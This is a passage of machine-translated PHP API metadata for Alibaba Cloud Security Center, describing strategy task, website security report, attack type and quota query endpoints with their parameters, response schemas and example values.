'Get the input parameters for a specific task', 'methods' => [ 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '136820', 'abilityTreeNodes' => [ 'FEATUREsasEX82TR', ], ], 'parameters' => [ [ 'name' => 'StrategyTaskId', 'in' => 'query', 'schema' => [ 'description' => 'Strategy task ID.'."\n" .'> You can obtain this parameter by calling the [DescribeSoarStrategyTasks](~~DescribeSoarStrategyTasks~~) interface.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '100', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'result', 'description' => 'Return content.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of this request, which is a unique identifier generated by Alibaba Cloud for this request, and can be used to troubleshoot and locate issues.', 'type' => 'string', 'example' => 'ACF97412-FD09-4D1F-994F-34DF12BR****', ], 'TaskDetail' => [ 'description' => 'Task details.', 'type' => 'object', 'properties' => [ 'Params' => [ 'description' => 'Task parameters.', 'type' => 'string', 'example' => '{"summary":[{"name":"email","type":"String","isRequired":false,"fromProperty":"notifyConfig.email"}]}', ], 'TaskName' => [ 'description' => '任务名称。', 'type' => 'string', 'example' => 'task1', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"ACF97412-FD09-4D1F-994F-34DF12BR****\\",\\n \\"TaskDetail\\": {\\n \\"Params\\": \\"{\\\\\\"summary\\\\\\":[{\\\\\\"name\\\\\\":\\\\\\"email\\\\\\",\\\\\\"type\\\\\\":\\\\\\"String\\\\\\",\\\\\\"isRequired\\\\\\":false,\\\\\\"fromProperty\\\\\\":\\\\\\"notifyConfig.email\\\\\\"}]}\\",\\n \\"TaskName\\": \\"task1\\"\\n }\\n}","type":"json"}]', 'title' => 'Query Task Center Strategy Task Parameters', 'description' => 'Only the Enterprise and Flagship editions of Cloud Security Center support this API call, other versions do not support it.', 'translator' => 'machine', ], 'ProcessSoarStrategyTask' => [ 'summary' => 'Modify the status of strategy tasks', 'methods' => [ 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '240752', 'abilityTreeNodes' => [ 'FEATUREsasEX82TR', ], ], 'parameters' => [ [ 'name' => 'StrategyTaskId', 'in' => 'query', 'schema' => [ 'description' => 'ID of the strategy task.'."\n" .'> You can obtain this parameter by calling the [DescribeSoarStrategyTasks](~~DescribeSoarStrategyTasks~~) interface.', 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '100', ], ], [ 'name' => 'TaskAction', 'in' => 'query', 'schema' => [ 'description' => 'Task action status. Values:'."\n" .'- SCHEDULE: Schedule'."\n" .'- PAUSE: Pause', 'type' => 'string', 'required' => true, 'example' => 'SCHEDULE', 'enum' => [ 'WAITING', 'STARTING', 'RUNNING', 'FINISHED', 'SCHEDULE', 'PAUSE', ], ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Returned message content.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of this request, a unique identifier generated by Alibaba Cloud for this request, which can be used to troubleshoot and locate issues.', 'type' => 'string', 'example' => '79CFF74D-E967-5407-8A78-EE03B925****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"79CFF74D-E967-5407-8A78-EE03B925****\\"\\n}","type":"json"}]', 'title' => 'Execute Strategy Tasks in the Task Center', 'description' => 'This API call is only supported by the Enterprise and Flagship editions of Cloud Security Center, other versions do not support it.', 'translator' => 'machine', ], 'DescribeSoarStrategyTaskResult' => [ 'summary' => 'Get the list of task execution results', 'methods' => [ 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '136812', 'abilityTreeNodes' => [ 'FEATUREsasEX82TR', ], ], 'parameters' => [ [ 'name' => 'StrategyTaskId', 'in' => 'query', 'schema' => [ 'description' => 'Strategy task ID.'."\n" .'> You can obtain this parameter by calling the [DescribeSoarStrategyTasks](~~DescribeSoarStrategyTasks~~) interface.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '100', ], ], [ 'name' => 'Condition', 'in' => 'query', 'schema' => [ 'description' => 'Condition parameters for task scheduling.', 'type' => 'string', 'required' => false, 'example' => '{"status":1}', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The maximum number of entries to display per page during paginated queries.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The current page number during paginated queries.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Returned content.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of the current request, a unique identifier generated by Alibaba Cloud for this request, which can be used for troubleshooting and issue localization.', 'type' => 'string', 'example' => '1683940A-E4AE-4473-8C40-F4075434****', ], 'Records' => [ 'description' => 'Collection of execution records.', 'type' => 'array', 'items' => [ 'description' => 'Content of the execution records.', 'type' => 'string', 'example' => '{"id":1,"playbookId":"123"}', ], ], 'PageInfo' => [ 'description' => 'Pagination information.', 'type' => 'object', 'properties' => [ 'PageSize' => [ 'description' => 'The maximum number of entries to display per page during paginated queries.', 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'PageNumber' => [ 'description' => 'The current page number during paginated queries.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'TotalCount' => [ 'description' => '总条数。', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1683940A-E4AE-4473-8C40-F4075434****\\",\\n \\"Records\\": [\\n \\"{\\\\\\"id\\\\\\":1,\\\\\\"playbookId\\\\\\":\\\\\\"123\\\\\\"}\\"\\n ],\\n \\"PageInfo\\": {\\n \\"PageSize\\": 20,\\n \\"PageNumber\\": 1,\\n \\"TotalCount\\": 1\\n }\\n}","type":"json"}]', 'title' => 'Query Strategy Task Execution Results', 'description' => 'This API is only supported by the Enterprise and Flagship editions of Cloud Security Center, other versions do not support it.', 'translator' => 'machine', ], 'DescribeDomainSecureVulList' => [ 'summary' => 'Queries a list of vulnerabilities in your website security report.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '111.196.*.*', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The identifier of the request source. Set the value to sas.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The vulnerability type. Valid values:'."\n" ."\n" .'* **app**: application vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'app', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'description' => 'The total number of vulnerabilities returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DD****', ], 'VulList' => [ 'description' => 'The domain name-related vulnerabilities.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The domain name-related vulnerability.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the vulnerability. Default value: cve. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability.'."\n" .'* **sys**: Windows system vulnerability.'."\n" .'* **cms**: Web-CMS vulnerability.'."\n" .'* **app**: application vulnerability that is detected by network scanning.'."\n" .'* **sca**: application vulnerability that is detected by using software component analysis.'."\n", 'type' => 'string', 'example' => 'app', ], 'NntfCount' => [ 'description' => 'The number of the vulnerabilities that have the **low** priority.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'HandledCount' => [ 'description' => 'The number of handled vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '33', ], 'GmtLast' => [ 'description' => 'The timestamp when the vulnerability was last detected. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1639371446000', ], 'Tags' => [ 'description' => 'The tag that is added to the vulnerability. Valid values:'."\n" ."\n" .'* Restart required'."\n" .'* Remote utilization'."\n" .'* EXP exists'."\n" .'* Available'."\n" .'* Elevation of Privilege'."\n" .'* Code Execution'."\n", 'type' => 'string', 'example' => 'Code Execution', ], 'LaterCount' => [ 'description' => 'The number of the vulnerabilities that have the **medium** priority.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'AliasName' => [ 'description' => 'The alias of the vulnerability.'."\n", 'type' => 'string', 'example' => 'CESA-2023:3555: python Security Update', ], 'Name' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'example' => 'oval:com.redhat.rhsa:def:20170574'."\n", ], 'AsapCount' => [ 'description' => 'The number of the vulnerabilities that have the **high** priority.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '50', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 100,\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DD****\\",\\n \\"VulList\\": [\\n {\\n \\"Type\\": \\"app\\",\\n \\"NntfCount\\": 20,\\n \\"HandledCount\\": 33,\\n \\"GmtLast\\": 1639371446000,\\n \\"Tags\\": \\"Code Execution\\",\\n \\"LaterCount\\": 30,\\n \\"AliasName\\": \\"CESA-2023:3555: python Security Update\\",\\n \\"Name\\": \\"oval:com.redhat.rhsa:def:20170574\\\\n\\",\\n \\"AsapCount\\": 50\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeDomainSecureVulList', ], 'DescribeDomainSecureRiskList' => [ 'summary' => 'Queries a list of risky websites in your website security report and the security information about the websites, including the number of vulnerabilities and the number of alerts.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '124.78.*.*', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The identifier of the request source. Set the value to sas.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'NoSslCount' => [ 'description' => 'The number of the websites for which no certificates are installed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F****', ], 'RiskCount' => [ 'description' => 'The number of risks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RiskList' => [ 'description' => 'The risks.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The risk.'."\n", 'type' => 'object', 'properties' => [ 'SslBrand' => [ 'description' => 'The issuer of the certificate.'."\n", 'type' => 'string', 'example' => 'globalsign', ], 'SslStatus' => [ 'description' => 'Indicates whether the certificate is configured. Valid values:'."\n" ."\n" .'* **1**: yes'."\n" .'* **0**: no'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Domain' => [ 'description' => 'The domain name.'."\n", 'type' => 'string', 'example' => 'test.com', ], 'VulCount' => [ 'description' => 'The number of vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AlarmCount' => [ 'description' => 'The number of alerts.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'UuidList' => [ 'description' => 'The UUIDs of the backend servers of the website.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the backend server of the website.'."\n", 'type' => 'string', 'example' => 'd033b152-b8c0-48e0-8980-29f2e52bxxxx', ], ], ], ], ], ], 'description' => 'The response parameters.', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"NoSslCount\\": 1,\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F****\\",\\n \\"RiskCount\\": 1,\\n \\"RiskList\\": [\\n {\\n \\"SslBrand\\": \\"globalsign\\",\\n \\"SslStatus\\": 1,\\n \\"Domain\\": \\"test.com\\",\\n \\"VulCount\\": 1,\\n \\"AlarmCount\\": 1,\\n \\"UuidList\\": [\\n \\"d033b152-b8c0-48e0-8980-29f2e52bxxxx\\"\\n ]\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeDomainSecureRiskList', ], 'DescribeDomainSecureAlarmList' => [ 'summary' => 'Queries the security alert data of a website security report.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address.'."\n", 'type' => 'string', 'required' => false, 'example' => '139.227.*.*', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The identifier of the request source. Set the value to sas.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.', 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '42', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'D03DD0FD-6041-5107-AC00-383E28F1****', ], 'AlarmList' => [ 'description' => 'The security alerts in your website assets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The security alert in your website assets.'."\n", 'type' => 'object', 'properties' => [ 'Dealed' => [ 'description' => 'Indicates whether the alert event is handled. Valid values:'."\n" ."\n" .'* **N**: unhandled'."\n" .'* **Y**: handled'."\n", 'type' => 'boolean', 'example' => 'y', ], 'Stages' => [ 'description' => 'The stage at which the attack or intrusion is detected.'."\n", 'type' => 'string', 'example' => '[\\"authority_maintenance\\"]'."\n", ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '95.214.*.*', ], 'SuspiciousEventCount' => [ 'description' => 'The total number of security alerts in your website assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'GmtModified' => [ 'description' => 'The time of the last modification.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1656901794000', ], 'AlarmEventNameOriginal' => [ 'description' => 'The original parent name of the alert event.'."\n", 'type' => 'string', 'example' => 'login_common_location', ], 'AlarmUniqueInfo' => [ 'description' => 'The unique ID of the alert event.'."\n", 'type' => 'string', 'example' => '8df914418f4211fbf756efe7a6f4****', ], 'CanCancelFault' => [ 'description' => 'Indicates whether you can cancel marking the alert event as a false positive. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'false', ], 'SecurityEventIds' => [ 'description' => 'The ID of the associated alert event.'."\n", 'type' => 'string', 'example' => '270789', ], 'CanBeDealOnLine' => [ 'description' => 'Indicates whether the alert event can be handled online, such as quarantining the source file of the malicious process, adding the alert event to the whitelist, and ignoring the alert event. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Description' => [ 'description' => 'The description of the alert event.'."\n", 'type' => 'string', 'example' => 'The detection model finds that there is a Trojan horse program on your server. The Trojan horse program is a program specially used to invade the user\'s host. Generally, it will download and release another malicious program after being implanted into the system through disguise.', ], 'ContainHwMode' => [ 'description' => 'Indicates whether the safeguard mode for major activities is supported.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'InstanceName' => [ 'description' => 'The instance name of the affected asset.'."\n", 'type' => 'string', 'example' => 'TestInstance', ], 'SaleVersion' => [ 'description' => 'The edition of Security Center in which the alert event can be detected. Valid values:'."\n" ."\n" .'* **0**: Basic edition.'."\n" .'* **1**: Advanced edition.'."\n" .'* **2**: Enterprise edition.'."\n", 'type' => 'string', 'example' => '1', ], 'OperateErrorCode' => [ 'description' => 'The handling result code of the alert event.'."\n", 'type' => 'string', 'example' => 'kill_and_quara.Success', ], 'Solution' => [ 'description' => 'The solution to the alert event.'."\n", 'type' => 'string', 'example' => 'A malicious program implanted by hacker after intrusion will occupy your bandwidth and attack other servers, and may affect you own service. The malicious process may also have self-deleting behavior or disguise as a system service to evade detection. ', ], 'DataSource' => [ 'description' => 'The data source of the alert event.'."\n", 'type' => 'string', 'example' => 'aegis_****', ], 'HasTraceInfo' => [ 'description' => 'Indicates whether the alert event has tracing information. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'OperateTime' => [ 'description' => 'The timestamp generated when the alert event was handled. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1631699497000', ], 'InstanceId' => [ 'description' => 'The instance ID of the affected asset.'."\n", 'type' => 'string', 'example' => 'i-e****', ], 'IntranetIp' => [ 'description' => 'The private IP address of the affected instance.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], 'EndTime' => [ 'description' => 'The timestamp generated when the alert event was last detected. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1543740301000', ], 'StartTime' => [ 'description' => 'The timestamp generated when the alert event was first detected. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1543740301000', ], 'Uuid' => [ 'description' => 'The unique ID of the associated instance.'."\n", 'type' => 'string', 'example' => '47900178-885d-4fa4-9d77-****', ], 'AlarmEventType' => [ 'description' => 'The type of the alert event.'."\n", 'type' => 'string', 'example' => 'Malicious Software', ], 'AutoBreaking' => [ 'description' => 'Indicates whether automatic defense is enabled.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'AlarmEventName' => [ 'description' => 'The name of the alert event.'."\n", 'type' => 'string', 'example' => 'Trojan', ], 'Level' => [ 'description' => 'The risk level of the alert event. Valid values:'."\n" ."\n" .'* **serious**'."\n" .'* **suspicious**'."\n" .'* **remind**'."\n", 'type' => 'string', 'example' => 'serious', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 42,\\n \\"RequestId\\": \\"D03DD0FD-6041-5107-AC00-383E28F1****\\",\\n \\"AlarmList\\": [\\n {\\n \\"Dealed\\": true,\\n \\"Stages\\": \\"[\\\\\\\\\\\\\\"authority_maintenance\\\\\\\\\\\\\\"]\\\\n\\",\\n \\"InternetIp\\": \\"95.214.*.*\\",\\n \\"SuspiciousEventCount\\": 1,\\n \\"GmtModified\\": 1656901794000,\\n \\"AlarmEventNameOriginal\\": \\"login_common_location\\",\\n \\"AlarmUniqueInfo\\": \\"8df914418f4211fbf756efe7a6f4****\\",\\n \\"CanCancelFault\\": false,\\n \\"SecurityEventIds\\": \\"270789\\",\\n \\"CanBeDealOnLine\\": true,\\n \\"Description\\": \\"The detection model finds that there is a Trojan horse program on your server. The Trojan horse program is a program specially used to invade the user\'s host. Generally, it will download and release another malicious program after being implanted into the system through disguise.\\",\\n \\"ContainHwMode\\": true,\\n \\"InstanceName\\": \\"TestInstance\\",\\n \\"SaleVersion\\": \\"1\\",\\n \\"OperateErrorCode\\": \\"kill_and_quara.Success\\",\\n \\"Solution\\": \\"A malicious program implanted by hacker after intrusion will occupy your bandwidth and attack other servers, and may affect you own service. The malicious process may also have self-deleting behavior or disguise as a system service to evade detection. \\",\\n \\"DataSource\\": \\"aegis_****\\",\\n \\"HasTraceInfo\\": true,\\n \\"OperateTime\\": 1631699497000,\\n \\"InstanceId\\": \\"i-e****\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"EndTime\\": 1543740301000,\\n \\"StartTime\\": 1543740301000,\\n \\"Uuid\\": \\"47900178-885d-4fa4-9d77-****\\",\\n \\"AlarmEventType\\": \\"Malicious Software\\",\\n \\"AutoBreaking\\": true,\\n \\"AlarmEventName\\": \\"Trojan\\",\\n \\"Level\\": \\"serious\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeDomainSecureAlarmList', ], 'DescribeDomainSecureStatistics' => [ 'summary' => 'Queries the statistics in your website security report, including the number of websites and the number of security events.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '113.87.*.*', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values: Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'NoSslCount' => [ 'description' => 'The number of the websites for which no certificates are installed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '1EE7B150-D67E-53FD-A52D-3E8E669A****', ], 'TotalDomainCount' => [ 'description' => 'The total number of domain names.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '72', ], 'RiskCount' => [ 'description' => 'The number of the domain names that have security risks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'VulCount' => [ 'description' => 'The number of the domain names that have vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'AlarmCount' => [ 'description' => 'The number of domain names that trigger security alerts.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"NoSslCount\\": 1,\\n \\"RequestId\\": \\"1EE7B150-D67E-53FD-A52D-3E8E669A****\\",\\n \\"TotalDomainCount\\": 72,\\n \\"RiskCount\\": 1,\\n \\"VulCount\\": 2,\\n \\"AlarmCount\\": 2\\n}","type":"json"}]', 'title' => 'DescribeDomainSecureStatistics', ], 'DescribeDomainSecureScore' => [ 'summary' => 'Queries the security score in your website security report. The full score is 100.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '123.113.*.*', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'SecurityScore' => [ 'description' => 'The security score of the website.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => '11C96623-E106-59C9-866D-A6C82911****', ], ], 'description' => 'The response parameters.', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"SecurityScore\\": 100,\\n \\"RequestId\\": \\"11C96623-E106-59C9-866D-A6C82911****\\"\\n}","type":"json"}]', 'title' => 'DescribeDomainSecureScore', ], 'GetAttackTypeList' => [ 'summary' => 'Queries a list of attack types on the Attack Analysis page.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92288', 'abilityTreeNodes' => [ 'FEATUREsasU5OJQA', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F****', ], 'AttackTypeList' => [ 'description' => 'The attack types.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The attack type.'."\n", 'type' => 'object', 'properties' => [ 'Value' => [ 'description' => 'The value of the attack type.'."\n", 'type' => 'string', 'example' => 'upload', ], 'Label' => [ 'description' => 'The description of the attack type.'."\n", 'type' => 'string', 'example' => 'sas.attack.type.type12', ], 'Status_Type' => [ 'description' => 'The attack source. Valid values:'."\n" ."\n" .'* **cfw**: Cloud Firewall'."\n" .'* **alinet**: network defense plug-in'."\n" .'* **waf**: Web Application Firewall (WAF)'."\n", 'type' => 'string', 'example' => 'alinet', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F****\\",\\n \\"AttackTypeList\\": [\\n {\\n \\"Value\\": \\"upload\\",\\n \\"Label\\": \\"sas.attack.type.type12\\",\\n \\"Status_Type\\": \\"alinet\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'GetAttackTypeList', ], 'GetAuthSummary' => [ 'summary' => 'Queries the statistics of asset protection quota.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92289', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '0B48AB3C-***-B9270EF46038', ], 'DefaultAuthToAll' => 